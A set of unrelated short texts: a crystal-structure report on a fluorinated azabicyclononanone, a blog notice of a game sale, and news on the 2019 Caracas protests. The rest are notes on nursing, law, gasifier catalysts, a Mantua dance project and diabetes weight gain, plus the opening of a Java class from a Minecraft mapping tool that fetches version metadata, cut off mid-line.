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[ "Related literature {#sec1}\n==================\n\nFor chemical background, see: Buxton & Roberts (1996[@bb2]); Evans & Seddon (1997[@bb4]); Ramachandran *et al.* (", "2007[@bb6]). ", "For ring puckering parameters, see: Cremer & Pople (1975[@bb3]).", "\n\nExperimental {#sec2}\n============\n\n {#sec2.1}\n\n### Crystal data {#sec2.1.1}\n\nC~20~H~19~F~2~NO*M* *~r~* = 327.36Orthorhombic,*a* = 7.6153 (3) Å*b* = 21.1392 (9) Å*c* = 10.0878 (4) Å*V* = 1623.95 (11) Å^3^*Z* = 4Mo *K*α radiationμ = 0.10 mm^−1^*T* = 298 (2) K0.35 × 0.32 × 0.30 mm\n\n### Data collection {#sec2.1.2}\n\nBruker APEXII CCD diffractometerAbsorption correction: multi-scan (*SADABS*; Bruker, 2004[@bb1]) *T* ~min~ = 0.967, *T* ~max~ = 0.97111360 measured reflections2064 independent reflections1596 reflections with *I* \\> 2σ(*I*)*R* ~int~ = 0.020\n\n### Refinement {#sec2.1.3}\n\n*R*\\[*F* ^2^ \\> 2σ(*F* ^2^)\\] = 0.041*wR*(*F* ^2^) = 0.141*S* = 0.912064 reflections118 parametersH atoms treated by a mixture of independent and constrained refinementΔρ~max~ = 0.21 e Å^−3^Δρ~min~ = −0.19 e Å^−3^\n\n {#d5e339}\n\nData collection: *APEX2* (Bruker, 2004[@bb1]); cell refinement: *SAINT* (Bruker, 2004[@bb1]); data reduction: *SAINT*; program(s) used to solve structure: *SHELXS97* (Sheldrick, 2008[@bb7]); program(s) used to refine structure: *SHELXL97* (Sheldrick, 2008[@bb7]); molecular graphics: *ORTEP-3* (Farrugia, 1997[@bb5]); software used to prepare material for publication: *SHELXL97*..\n\nSupplementary Material\n======================\n\nCrystal structure: contains datablocks global, I. DOI: [10.1107/S1600536808024744/hb2763sup1.cif](http://dx.doi.org/10.1107/S1600536808024744/hb2763sup1.cif)\n\nStructure factors: contains datablocks I. DOI: [10.1107/S1600536808024744/hb2763Isup2.hkl](http://dx.doi.org/10.1107/S1600536808024744/hb2763Isup2.hkl)\n\nAdditional supplementary materials: [crystallographic information](http://scripts.iucr.org/cgi-bin/sendsupfiles?hb2763&file=hb2763sup0.html&mime=text/html); [3D view](http://scripts.iucr.org/cgi-bin/sendcif?hb2763sup1&Qmime=cif); [checkCIF report](http://scripts.iucr.org/cgi-bin/paper?hb2763&checkcif=yes)\n\nSupplementary data and figures for this paper are available from the IUCr electronic archives (Reference: [HB2763](http://scripts.iucr.org/cgi-bin/sendsup?hb2763)).", "\n\nThis research was supported by the second stage of the BK 21 program and Pukyong National University under the 2008 Postdoc program.", "\n\nComment\n=======\n\nFluorine substituted organic compounds are very impotant due to the significance of C---F bonds in some bioorganic systems (e.g. Evans & Seddon, 1997). ", "The intermolecular and intramolecular hydrogen bonds involving fluorine atom have attracted much attention in various aspects (e.g. Ramachandran *et al.*, ", "2007). ", "Moreover, the biological activities mainly depend on the stereochemistry of the synthesized compound (e.g. Buxton & Roberts, 1996). ", "Hence, realising the importance of the investigation of the conformation, stereochemistry and the nature of bondings in the synthesized title fluorine substituted heterocycle, (I), we have carried out single-crystal X-ray diffraction studies.", "\n\nAn analysis of torsion angles, asymmetry parameters and least-squares plane calculation shows that the piperidine ring adopts a near ideal chair conformation with the deviation of ring atoms N1 and C5 from the C1/C1^i^/C2/C2^i^ (i = x, 1/2-y, z) plane by -0.670 (3)Å and 0.693 (3)Å respectively, Q~T~ = 0.6064 (13) Å. The cyclohexane ring deviate from the ideal chair conformation by the deviation of ring atoms C4 and C5 from the C2/C2^i^/C3/C3^i^ plane by 0.522 (4)Å and 0.734 (3)Å respectively, Q~T~ = 0.5681 (14)Å (Cremer & Pople, 1975).", "\n\nCompound (I) has a crystallographic mirror plane, which bisects the molecule passing through N1, C4, C5 and O1 of the central ring (Fig. ", "1) and exists in twin-chair conformation with equatorial orientations of the *para* fluoro phenyl groups on the heterocycle with the torsion angle of C5---C2---C1---C6 is 178.41 (6)°. ", "The aryl groups are orientated at an angle of 28.67 (3)° to each other.", "\n\nExperimental {#experimental}\n============\n\nA mixture of cyclohexanone (0.05 mol) and *para* fluorobenzaldehyde (0.1 mol) was added to a warm solution of ammonium acetate (0.075 mol) in 50 ml of absolute ethanol. ", "The mixture was very gently warmed on a hot plate till the yellow color formed during the mixing of the reactants and allowed to stir till the formation of the product. ", "Thus, the formed azabicyclononane was separated by filtration and washed with a 1:5 v/v ethanol-ether mixture till the solid became colorless. ", "Then, recrystallization of the compound from ethanol afforded colorless blocks of (I).", "\n\nRefinement {#refinement}\n==========\n\nThe nitrogen H atom was located in a difference Fourier map and refined isotropically. ", "Other hydrogen atoms were fixed geometrically (C---H = 0.93-0.97Å) and refined as riding with *U*~iso~(H) = 1.2*U*~eq~(C).", "\n\nFigures\n=======\n\n{#Fap1}\n\nCrystal data {#tablewrapcrystaldatalong}\n============\n\n ------------------------- ---------------------------------------\n C~20~H~19~F~2~NO *F*(000) = 688\n *M~r~* = 327.36 *D*~x~ = 1.339 Mg m^−3^\n Orthorhombic, *Pnma* Mo *K*α radiation, λ = 0.71073 Å\n Hall symbol: -P 2ac 2n Cell parameters from 4451 reflections\n *a* = 7.6153 (3) Å θ = 3.4--28.0°\n *b* = 21.1392 (9) Å µ = 0.10 mm^−1^\n *c* = 10.0878 (4) Å *T* = 298 K\n *V* = 1623.95 (11) Å^3^ Block, colourless\n *Z* = 4 0.35 × 0.32 × 0.30 mm\n ------------------------- ---------------------------------------\n\nData collection {#tablewrapdatacollectionlong}\n===============\n\n ------------------------------------------------------------ --------------------------------------\n Bruker APEXII CCD diffractometer 2064 independent reflections\n Radiation source: fine-focus sealed tube 1596 reflections with *I* \\> 2σ(*I*)\n graphite *R*~int~ = 0.020\n ω scans θ~max~ = 28.3°, θ~min~ = 1.9°\n Absorption correction: multi-scan (*SADABS*; Bruker, 2004) *h* = −8→10\n *T*~min~ = 0.967, *T*~max~ = 0.971 *k* = −28→28\n 11360 measured reflections *l* = −13→12\n ------------------------------------------------------------ --------------------------------------\n\nRefinement {#tablewraprefinementdatalong}\n==========\n\n ------------------------------------- -------------------------------------------------------------------------------------------------\n Refinement on *F*^2^ Primary atom site location: structure-invariant direct methods\n Least-squares matrix: full Secondary atom site location: difference Fourier map\n *R*\\[*F*^2^ \\> 2σ(*F*^2^)\\] = 0.041 Hydrogen site location: inferred from neighbouring sites\n *wR*(*F*^2^) = 0.141 H atoms treated by a mixture of independent and constrained refinement\n *S* = 0.91 *w* = 1/\\[σ^2^(*F*~o~^2^) + (0.0897*P*)^2^ + 0.3733*P*\\] where *P* = (*F*~o~^2^ + 2*F*~c~^2^)/3\n 2064 reflections (Δ/σ)~max~ \\< 0.001\n 118 parameters Δρ~max~ = 0.22 e Å^−3^\n 0 restraints Δρ~min~ = −0.19 e Å^−3^\n ------------------------------------- -------------------------------------------------------------------------------------------------\n\nSpecial details {#specialdetails}\n===============\n\n -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n Geometry. ", "All e.s.d.\\'s (except the e.s.d. ", "in the dihedral angle between two l.s. ", "planes) are estimated using the full covariance matrix. ", "The cell e.s.d.\\'s are taken into account individually in the estimation of e.s.d.\\'s in distances, angles and torsion angles; correlations between e.s.d.\\'s in cell parameters are only used when they are defined by crystal symmetry. ", "An approximate (isotropic) treatment of cell e.s.d.\\'s is used for estimating e.s.d.\\'s involving l.s. ", "planes.", "\n Refinement. ", "Refinement of *F*^2^ against ALL reflections. ", "The weighted *R*-factor *wR* and goodness of fit *S* are based on *F*^2^, conventional *R*-factors *R* are based on *F*, with *F* set to zero for negative *F*^2^. The threshold expression of *F*^2^ \\> σ(*F*^2^) is used only for calculating *R*-factors(gt) *etc*. ", "and is not relevant to the choice of reflections for refinement. *", "R*-factors based on *F*^2^ are statistically about twice as large as those based on *F*, and *R*- factors based on ALL data will be even larger.", "\n -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nFractional atomic coordinates and isotropic or equivalent isotropic displacement parameters (Å^2^) {#tablewrapcoords}\n==================================================================================================\n\n ------ -------------- ------------- -------------- -------------------- --\n *x* *y* *z* *U*~iso~\\*/*U*~eq~ \n C1 0.92315 (17) 0.30735 (5) 0.39201 (12) 0.0391 (3) \n H1 0.8839 0.3055 0.2996 0.047\\* \n C2 0.75726 (16) 0.30901 (5) 0.48153 (14) 0.0421 (3) \n H2 0.6864 0.3460 0.4576 0.051\\* \n C3 0.79266 (19) 0.31054 (6) 0.63140 (13) 0.0473 (3) \n H3A 0.8701 0.3458 0.6508 0.057\\* \n H3B 0.6827 0.3181 0.6773 0.057\\* \n C4 0.8751 (3) 0.2500 0.68562 (18) 0.0492 (4) \n H4A 0.9993 0.2500 0.6644 0.059\\* \n H4B 0.8642 0.2500 0.7814 0.059\\* \n C5 0.6527 (2) 0.2500 0.45348 (18) 0.0435 (4) \n C6 1.03437 (17) 0.36590 (5) 0.40791 (12) 0.0400 (3) \n C7 0.9916 (2) 0.41937 (6) 0.33533 (16) 0.0543 (4) \n H7 0.8976 0.4179 0.2766 0.065\\* \n C8 1.0856 (2) 0.47481 (7) 0.34848 (19) 0.0666 (5) \n H8 1.0550 0.5107 0.3003 0.080\\* \n C9 1.2238 (2) 0.47573 (7) 0.4334 (2) 0.0643 (5) \n C10 1.2733 (2) 0.42414 (8) 0.50616 (19) 0.0641 (4) \n H10 1.3688 0.4261 0.5634 0.077\\* \n C11 1.1771 (2) 0.36882 (7) 0.49220 (15) 0.0519 (4) \n H11 1.2091 0.3331 0.5404 0.062\\* \n F1 1.31755 (17) 0.53023 (5) 0.44594 (17) 0.1030 (5) \n H111 1.121 (3) 0.2500 0.369 (2) 0.047 (5)\\* \n N1 1.0241 (2) 0.2500 0.41923 (15) 0.0384 (3) \n O1 0.50237 (19) 0.2500 0.41536 (17) 0.0626 (4) \n ------ -------------- ------------- -------------- -------------------- --\n\nAtomic displacement parameters (Å^2^) {#tablewrapadps}\n=====================================\n\n ----- ------------- ------------- ------------- ------------- ------------- -------------\n *U*^11^ *U*^22^ *U*^33^ *U*^12^ *U*^13^ *U*^23^\n C1 0.0441 (7) 0.0372 (6) 0.0359 (6) 0.0013 (5) −0.0009 (5) 0.0021 (4)\n C2 0.0395 (6) 0.0368 (6) 0.0500 (7) 0.0045 (5) −0.0010 (5) 0.0018 (5)\n C3 0.0493 (7) 0.0465 (7) 0.0461 (7) −0.0017 (6) 0.0077 (6) −0.0072 (5)\n C4 0.0529 (10) 0.0585 (10) 0.0361 (9) 0.000 0.0003 (8) 0.000\n C5 0.0384 (9) 0.0483 (9) 0.0437 (9) 0.000 −0.0027 (7) 0.000\n C6 0.0440 (7) 0.0352 (5) 0.0406 (6) 0.0016 (5) 0.0073 (5) 0.0021 (4)\n C7 0.0567 (8) 0.0455 (7) 0.0605 (8) 0.0048 (6) 0.0044 (7) 0.0137 (6)\n C8 0.0694 (10) 0.0390 (7) 0.0915 (12) 0.0051 (7) 0.0242 (10) 0.0157 (7)\n C9 0.0586 (9) 0.0382 (7) 0.0961 (13) −0.0091 (6) 0.0292 (9) −0.0104 (7)\n C10 0.0558 (9) 0.0579 (9) 0.0787 (11) −0.0105 (7) 0.0011 (8) −0.0110 (8)\n C11 0.0529 (8) 0.0455 (7) 0.0572 (8) −0.0038 (6) −0.0029 (6) 0.0043 (6)\n F1 0.0834 (8) 0.0474 (6) 0.1782 (14) −0.0225 (5) 0.0323 (8) −0.0170 (6)\n N1 0.0377 (8) 0.0341 (7) 0.0434 (8) 0.000 0.0057 (6) 0.000\n O1 0.0421 (8) 0.0693 (10) 0.0763 (11) 0.000 −0.0159 (7) 0.000\n ----- ------------- ------------- ------------- ------------- ------------- -------------\n\nGeometric parameters (Å, °) {#tablewrapgeomlong}\n===========================\n\n ---------------------- -------------- ---------------------- --------------\n C1---N1 1.4613 (14) C5---C2^i^ 1.5067 (15)\n C1---C6 1.5083 (16) C6---C11 1.381 (2)\n C1---C2 1.5533 (18) C6---C7 1.3856 (17)\n C1---H1 0.9800 C7---C8 1.380 (2)\n C2---C5 1.5067 (15) C7---H7 0.9300\n C2---C3 1.536 (2) C8---C9 1.357 (3)\n C2---H2 0.9800 C8---H8 0.9300\n C3---C4 1.5266 (17) C9---F1 1.3613 (17)\n C3---H3A 0.9700 C9---C10 1.367 (3)\n C3---H3B 0.9700 C10---C11 1.387 (2)\n C4---C3^i^ 1.5266 (17) C10---H10 0.9300\n C4---H4A 0.9700 C11---H11 0.9300\n C4---H4B 0.9700 N1---C1^i^ 1.4613 (14)\n C5---O1 1.208 (2) N1---H111 0.89 (2)\n \n N1---C1---C6 111.44 (10) O1---C5---C2 124.12 (7)\n N1---C1---C2 109.70 (10) O1---C5---C2^i^ 124.12 (7)\n C6---C1---C2 112.11 (9) C2---C5---C2^i^ 111.76 (14)\n N1---C1---H1 107.8 C11---C6---C7 118.28 (12)\n C6---C1---H1 107.8 C11---C6---C1 122.96 (11)\n C2---C1---H1 107.8 C7---C6---C1 118.76 (12)\n C5---C2---C3 107.16 (11) C8---C7---C6 121.34 (15)\n C5---C2---C1 107.58 (11) C8---C7---H7 119.3\n C3---C2---C1 115.47 (11) C6---C7---H7 119.3\n C5---C2---H2 108.8 C9---C8---C7 118.37 (14)\n C3---C2---H2 108.8 C9---C8---H8 120.8\n C1---C2---H2 108.8 C7---C8---H8 120.8\n C4---C3---C2 114.02 (11) C8---C9---F1 118.51 (16)\n C4---C3---H3A 108.7 C8---C9---C10 122.75 (14)\n C2---C3---H3A 108.7 F1---C9---C10 118.74 (18)\n C4---C3---H3B 108.7 C9---C10---C11 118.19 (16)\n C2---C3---H3B 108.7 C9---C10---H10 120.9\n H3A---C3---H3B 107.6 C11---C10---H10 120.9\n C3^i^---C4---C3 113.91 (16) C6---C11---C10 121.05 (14)\n C3^i^---C4---H4A 108.8 C6---C11---H11 119.5\n C3---C4---H4A 108.8 C10---C11---H11 119.5\n C3^i^---C4---H4B 108.8 C1^i^---N1---C1 112.11 (14)\n C3---C4---H4B 108.8 C1^i^---N1---H111 109.1 (7)\n H4A---C4---H4B 107.7 C1---N1---H111 109.1 (7)\n \n N1---C1---C2---C5 −58.02 (14) C2---C1---C6---C7 −84.10 (15)\n C6---C1---C2---C5 177.61 (10) C11---C6---C7---C8 −1.5 (2)\n N1---C1---C2---C3 61.57 (13) C1---C6---C7---C8 178.21 (13)\n C6---C1---C2---C3 −62.80 (13) C6---C7---C8---C9 0.9 (2)\n C5---C2---C3---C4 52.64 (16) C7---C8---C9---F1 179.55 (15)\n C1---C2---C3---C4 −67.17 (15) C7---C8---C9---C10 0.0 (3)\n C2---C3---C4---C3^i^ −43.3 (2) C8---C9---C10---C11 −0.2 (3)\n C3---C2---C5---O1 113.4 (2) F1---C9---C10---C11 −179.77 (15)\n C1---C2---C5---O1 −121.84 (19) C7---C6---C11---C10 1.3 (2)\n C3---C2---C5---C2^i^ −65.39 (17) C1---C6---C11---C10 −178.44 (14)\n C1---C2---C5---C2^i^ 59.35 (18) C9---C10---C11---C6 −0.4 (2)\n N1---C1---C6---C11 −27.77 (17) C6---C1---N1---C1^i^ −174.53 (8)\n C2---C1---C6---C11 95.62 (15) C2---C1---N1---C1^i^ 60.72 (16)\n N1---C1---C6---C7 152.51 (13) \n ---------------------- -------------- ---------------------- --------------\n\nSymmetry codes: (i) *x*, −*y*+1/2, *z*.", "\n" ]

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[ "Friday, March 21, 2014\n\nSquare Enix Spring Equinox Sale\n\nThey call it March Madness, I call it the Square Enix Spring Equinox Sale, it sounds better. ", "Square Enix, Spring Equinox they're somewhat similar enough that they work together explaining a sale. ", "The more games you buy the cheaper they become. ", "Sale ends March 30th.", "\n\nAnime Hype\n\nFilm Hype\n\nComic Hype\n\nAdventure Time Time\n\nLocal Arcades List\n\nLocal Video Game, Card and Board Game Stores\n\nBuy games, play games\n\nLocal Comic Shops\n\nLocal Movie Theaters\n\nFind the film for you, no not plays\n\nMovie Rental\n\nBefore Netflix\n\nMonthly Events\n\nUnique Local Places\n\nEnemies\n\nFake ghost busters are not tolerated\n\nThings To Do In LA was created out of not being able to find something to do in LA. ", "It was created out of missing cool events that you would hear about later or because you didn't read a certain post. ", "It was created because you don't know every place to visit in the city. ", "There is always something to do in this city.", "\n\nThings To Do In LA tells you what's going on, and places to go.", "\n\nThe site also covers video game/otaku culture, the local art scene, film, animation, television, comics, books and vinyl toys." ]

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[ "Winning the \"blame game\".", "\nPromoting trust within an organization involves doing away with the culture of blame that surrounds medical errors. ", "When nurses feel safe to report errors and near misses, nurse leaders can identify weak areas and strengthen systems." ]

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[ "Pilsen\n\nPilsen or Plzeň may refer to:\n\nPlaces\nPlzeň, Czech Republic\nPlzeň Region, Czech Republic\nPilzno or Pilsen, Poland\nPilsen, Chicago, Illinois, U.S.\nPilsen Historic District\nPilsen, Kansas, U.S.\nPilsen, Wisconsin, U.S.\nPilsen (community), Wisconsin, U.S.\n\nSport\nFC Viktoria Plzeň, an association football club\nHC Škoda Plzeň, an ice hockey club\n\nOther uses\nPilsen (band), a punk band from Argentina\n\nSee also\nNagybörzsöny or Deutsch Pilsen, Hungary\nPilsener, type of beer\nPlzeň Plaza" ]

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[ "Someone asked me this week if I can provide legal advice. ", "I responded “I am a mediator, not an attorney, therefore I cannot provide legal advice, only legal information.” ", "What is the difference between legal information and legal advice, and what does that mean to the average lay pers" ]

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[ "Gasifiers, such as those employing fluidized beds, have been used to convert carbonaceous materials into a product gas. ", "The objective in gasification is to maximize the conversion of feedstock into syngas i.e., H2 and CO. ", "This requires that either the formation of condensables or tars and light hydrocarbons is minimized or that these are converted in-situ. ", "Many investigators have developed catalysts to crack tars and/or reform hydrocarbons in steam reforming, autothermal reforming and partial oxidation modes of reactor operation. ", "The key performance targets are conversion, yield, selectivity and activity and the challenge is to maintain performance with negligible or minimal loss of activity. ", "The potential factors that can lead to catalyst deactivation or degradation are: attrition or decrepitation of the particle or catalyst layer, sintering, agglomeration, coke formation and poisoning due to feedstock impurities (H2S, COS, HCl, NH3, HCN, etc.). ", "Some recent reviews include:\nGerber, M. A., “Review of Novel Catalysts for Biomass Tar cracking and methane Reforming”, Pacific Northwest National Laboratory Report PNNL-16950, October 2007.", "\nFang, H., Haibin, L., and Zengli, Z., “Advancements in Development of Chemical-Looping Combustion: A Review’, Intl. ", "J. Ch. ", "E., Volume 2009 (2009), Article ID 710515.", "\nKolb, G., “Fuel Processing: for fuel cells”, Technology & Engineering, 2008, 424 pages.", "\nAdvanced catalysts which can operate under the adverse conditions of gasification chambers are described in the following U.S. published patent applications, whose contents are incorporated by reference: US20080041766A1, US20070116639A1 and US20090209412A1.", "\nUS20080041766A1 to Giroux et al. ", "teaches a method of reforming a sulfur containing hydrocarbon involves contacting the sulfur containing hydrocarbon with a sulfur tolerant catalyst containing a non-sulfating carrier and one or more of a sulfur tolerant precious metal and a non-precious metal compound so that the sulfur tolerant catalyst adsorbs at least a portion of sulfur in the sulfur containing hydrocarbon and a low sulfur reformate is collected, and contacting the sulfur tolerant catalyst with an oxygen containing gas to convert at least a portion of adsorbed sulfur to a sulfur oxide that is desorbed from the sulfur tolerant catalyst. ", "This invention is intended to be carried out in a simple reactor or a swing reactor but not a fluidized bed.", "\nUS20070116639A1 to Lomax et al. ", "teaches the preparation of a catalyst that can be used for the production of hydrogen from hydrocarbon fuels in steam reforming processes; the catalyst contains an active metal of, e.g., at least one of Ir, Pt and Pd, on a catalyst support of, e.g., at least one of monoclinic zirconia and an alkaline-earth metal hexaaluminate and it exhibits improved activity, stability in both air and reducing atmospheres, and sulfur tolerance. ", "Preferred reactor type is not indicated but the application seems to suggest a packed bed or fixed bed reactor.", "\nUS20090209412A1 to Parent et al. ", "teaches a method of preparing a steam reforming catalyst characterized by improved resistance to attrition loss when used for cracking, reforming, water gas shift and gasification reactions on feedstock in a fluidized bed reactor, comprising: fabricating the ceramic support particle, coating a ceramic support by adding an aqueous solution of a precursor salt of a metal selected from the group consisting of Ni, Pt, Pd, Ru, Rh, Cr, Co, Mn, Mg, K, La and Fe and mixtures thereof to the ceramic support and calcining the coated ceramic in air to convert the metal salts to metal oxides. ", "This is specifically intended for fluid bed application but is made in the form of spherical particles ranging in size from 100 to 1,000 microns by agglomerating catalyst support material. ", "Typically the un-fired agglomerates are composed of catalyst support particles with an average size in the range of 0.3 to 10 microns, preferably in the range of 0.9 to 5 microns.", "\nHeat is required for the gasifier bed to sustain the endothermic reaction of converting the carbonaceous material into the product gas. ", "The heat may be provided by one or more direct or indirect heat sources. ", "In general, such heat sources consume considerable energy." ]

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[ "LA CITTADINANZA DEL CORPO 2017\n\nLA CITTADINANZA DEL CORPO 2017\n\nLa Cittadinanza del corpo, created by Virgilio Sieni for the city of Mantua continues.", "\n\nAfter the success of the 2016 edition which got the people of Mantua dancing in the rooms and open spaces at Palazzo Te, La Cittadinanza del corpo is once again inviting people of all ages without any technical know-how or previous experience and dancers aged 10 and over to take part in the 2017 edition.", "\n\nThe aim is to combine the language of the body and dance with the urban landscape and the dimension of closed and open spaces. ", "A journey using the body and the gaze to discover a new city founded on the relation between generations, hospitality and listening to others through collaboration among individuals.", "\n\nThe final results will be tested on the public from 17 to 19 July at Palazzo Te and in various locations around the city.", "\n\nWHO’S IT FOR\n\nPeople of all ages, no previous experience necessary\nDancers over the age of 10\n\nSESSIONS WITH VIRGILIO SIENI\n\n20, 21 and 22 April 2017\n2, 3 and 4 May 2017\n26, 27 and 28 May 2017\n16 July 2017\n\nFlexibility (max 3 h per day) essential. ", "People will be selected on the basis of time choice and divided into groups by the choreographer.", "\n\nWEEKLY REHEARSALS WITH PROJECT ASSISTANTS\n\nRehearsals will be held between April and July on a weekly basis.", "\n\nDays and times of rehearsals will be agreed with the participants taking into account the preferences indicated on the enrollment form.", "\n\nTHE SHOW\n\nShows will take place 17 – 19 July 2017 at Palazzo Te and other places in the city.", "\n\nINFO\n\nVIRGILIO SIENI\n\nformer director of the Venice Biennale Dance Sector, Virglio Sieni is a well-known dancer and choreographer. ", "He runs the Centro Nazionale di produzione sui linguaggi del corpo e della danza in Florence. ", "He has created shows for major Italian music institutions and has received numerous awards. ", "In 2013 he was made Chevalier de l’ordres des arts et des lettres by the French Minister of Culture." ]

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[ "CARACAS, Venezuela — Dueling demonstrations ramped up Wednesday as thousands of Venezuelans took to the streets of Caracas after opposition leader Juan Guaidó called for the “largest march” in the country's history.", "\n\nSeveral thousand protesters supporting the opposition marched in a peaceful demonstration around Altamira square, with the four major avenues around the square surrounded by people.", "\n\nDemonstrators expressed frustration with the worsening economic conditions and hoped a government led by the opposition could bring change.", "\n\nHiter Nieves, 46, said he was marching \"for the future of my country.\"", "\n\n\"For my children and for my family,\" he said. \"", "We have been oppressed for so many years.\"", "\n\nElizabeth Fernandez, 58, said she wanted to give a new government a chance and more economic opportunities for Venezuela's youth.", "\n\nVenezuelan opposition leader Juan Guaido gestures as he speaks to supporters during a rally against the government of Venezuela's President Nicolas Maduro and to commemorate May Day in Caracas, Venezuela, on May 1. ", "Carlos Garcia Rawlins / Reuters\n\n\"We will have a more peaceful life,\" she said.", "\n\nOriana Andrade, a 22-year-old college nursing student, said she was marching because \"we have people dying because we lack\" medical supplies.", "\n\n\"My family emigrated, but I don't want to leave,\" said Diego Rodriguez, 27. \"", "My fundamental motivation is change. ", "Being in the streets represents a way for us to express our point of view.\"", "\n\nOpposition protesters were gathering on the east side of Caracas, while those loyal to President Nicolás Maduro gathered in the center, with a police presence in between to prevent both sides from clashing.", "\n\n\"We consider that in the socialism of the 21st century there is hope,\" said Robert Cedeno, a professor who was just outside the Miraflores presidential Palace to support the Maduro government.", "\n\nEarlier Wednesday, busloads of supporters from different states in the center of Venezuela also gathered peacefully and started marching towards the center of the city.", "\n\nLeonel Ruiz, a 53-year-old musician, was one of them.", "\n\n“I am present in this demonstration for several reasons,” said Ruiz. \"", "To say no to American imperialism, to say no to oil corporations… And say yes to life, say yes to the people, love and poetry. ", "They are not going to take our oil.\"", "\n\nSupporters of President Nicolas Maduro display an image of South American Liberator Simon Bolivar during a May Day rally in Caracas on May 1. ", "Yuri Cortez / AFP - Getty Images\n\nOn Tuesday, thousands took to the streets as demonstrators clashed with pro-government forces, resulting in dozens of injuries, after Guaidó announced what he called the “definitive phase” of an operation to oust President Nicolás Maduro.", "\n\nThe opposition leader, who has declared himself interim president, appeared Tuesday in a dramatic video alongside formerly detained activist Leopoldo López and a small group of armed military personnel.", "\n\nOn Wednesday morning, Guaidó again urged Venezuelans to show their support in public protests.", "\n\n\"We go on with more strength than ever, Venezuela,\" he said in another post on Twitter.", "\n\nFollowing the protests Tuesday, Guaidó released a statement calling for the “largest march” in Venezuela’s history.", "\n\n“Maduro does not have the backing, nor the respect of the armed forces, much less of the Venezuelan people,” he said in the statement.", "\n\nAn opposition demonstrator walks near a bus in flames near La Carlota military base in Caracas on April 30. ", "Federico Parra / AFP - Getty Images\n\nMeanwhile, a defiant Maduro in a television address Tuesday evening called the opposition puppets of the United States and downplayed the demonstrations as a \"failed\" coup attempt, calling for his supporters to also rally on Wednesday.", "\n\n“Tomorrow, the first of May, we will have a large, millions-strong march of the working class,” Maduro said. “", "We have been confronting different types of aggression and attempted coups never before seen in our history.”", "\n\nGuaidó has urged the military to turn against Maduro in support of the opposition's claim to the presidency. ", "Despite the show of support for Guaidó from a few dozen groups of military personnel Tuesday morning, it remained unclear how much support he has. ", "The military has largely remained loyal to Maduro throughout the political upheaval, and top security leaders appeared alongside Maduro during his address Tuesday.", "\n\nNational security adviser John Bolton said on MSNBC Wednesday that President Donald Trump wants to see \"a peaceful transfer of power from Maduro to Guaidó and claimed foreign influence from Cuban forces and Russia \"make it very difficult for the people to express their will.\"", "\n\n\"I believe if the Cubans went home today, Maduro would fall by midnight,\" he said.", "\n\nWhen asked what action the U.S. would take if Guaidó were arrested or harmed, Bolton said Trump has made clear that \"all options are open.\"", "\n\n\"We want a peaceful transfer of power, but we’re not going to see Guaidó mistreated by this regime,' he said.", "\n\nSome of the clashes Tuesday were violent, with tear gas and rubber bullets used on protesters and local media showing video of what appeared to be a military vehicle running over demonstrators.", "\n\nBy Tuesday afternoon, 57 people had been injured by rubber bullets, and one woman was shot with a firearm twice in the stomach, according to a Venezuelan health official.", "\n\nThe Venezuelan defense minister said a pro-government colonel had been shot in the neck, although his condition was unclear. ", "Venezuelan officials also said eight members of security forces were injured by \"violent groups\" involved in the \"failed coup.\"", "\n\nGuaidó, as leader of Venezuela's National Assembly, invoked part of the country's constitution in asserting a claim as interim president in late January following Maduro's re-election. ", "More than 50 countries, including the United States recognize him as the country's interim leader.", "\n\nSince then, Venezuela has seen a series of clashes between pro and anti-Maduro forces in the ongoing attempts to topple Maduro's regime. ", "The country has also been beset by black outs as well as shortages of food and medical supplies.", "\n\nErnesto J. Navarro reported from Caracas, Venezuela, and Daniella Silva reported from New York." ]

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[ "Diabetes & Weight Gain\n\nWeight gain is common after starting insulin therapy. ", "Many people gain 0.5- 1.5 kg (1-3 pounds) as the insulin begins to control their blood sugar. ", "Weight gain is more common in women than in men, but, it’s difficult to predict who will gain weight. ", "Weight gain may result as a direct complication of diabetes or be related to medication being taken to treat other complications, such as antipsychotics.", "\n\nDiabetes & Weight Gain – Causes\n\nThere are many reasons why people gain weight when they begin insulin therapy. ", "One theory is that one’s metabolism slows down when blood sugars come under control. ", "The additional weight can increase your cells’ resistance to insulin and may therefore increase your need for medication, creating a vicious circle of increased weight and insulin resistance.", "\n\nReducing Insulin to Lose Weight is Dangerous\n\nMany people with diabetes, especially young women, stop taking insulin with the hope that they can control weight gain. ", "This is dangerous for many reasons and should be avoided. ", "People who need insulin but do not regularly take it are very likely to have medical complication of their diabetes.", "\n\nDiabetes & Weight Gain – Diet and Exercise Solution\n\nIf you are experiencing weight gain, it may be helpful to meet with a dietitian and an exercise coach with experience in diabetes. ", "They can help to create a safe diet and workout schedule that will provide good nutrition, diabetes control, and good cardiovascular health, which will help you with weight maintenance or weight loss." ]

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[ "package amidst.mojangapi.file;\n\nimport java.io.", "ByteArrayInputStream;\nimport java.io.", "IOException;\nimport java.io.", "InputStream;\nimport java.io.", "InputStreamReader;\nimport java.io.", "Reader;\nimport java.net.", "URL;\nimport java.nio.file.", "Files;\nimport java.nio.file.", "Path;\nimport java.nio.file.", "Paths;\nimport java.nio.file.", "StandardCopyOption;\nimport java.util.", "Objects;\n\nimport amidst.mojangapi.file.json.", "ReleaseType;\nimport amidst.mojangapi.file.json.versionlist.", "RemoteVersionJson;\nimport amidst.mojangapi.file.service.", "FilenameService;\nimport amidst.parsing.", "FormatException;\nimport amidst.parsing.", "URIUtils;\nimport amidst.parsing.json.", "JsonReader;\n\npublic class RemoteVersion {\n\n\tprivate final FilenameService filenameService;\n\tprivate final RemoteVersionJson remoteVersionJson;\n\tprivate final byte[] rawJson;\n\n\tprivate RemoteVersion(FilenameService filenameService, RemoteVersionJson remoteVersionJson, byte[] rawJson) {\n\t\tthis.filenameService = filenameService;\n\t\tthis.remoteVersionJson = remoteVersionJson;\n\t\tthis.rawJson = rawJson;\n\t}\n\n\tpublic static RemoteVersion from(FilenameService filenameService, URL metaUrl)\n\t\t\tthrows FormatException, IOException {\n\t\tbyte[] rawJson = URIUtils.readBytes(metaUrl);\n\t\tReader jsonReader = new InputStreamReader(new ByteArrayInputStream(rawJson));\n\t\tRemoteVersionJson remoteVersionJson = JsonReader.read(jsonReader, RemoteVersionJson.class);\n\t\treturn new RemoteVersion(filenameService, remoteVersionJson, 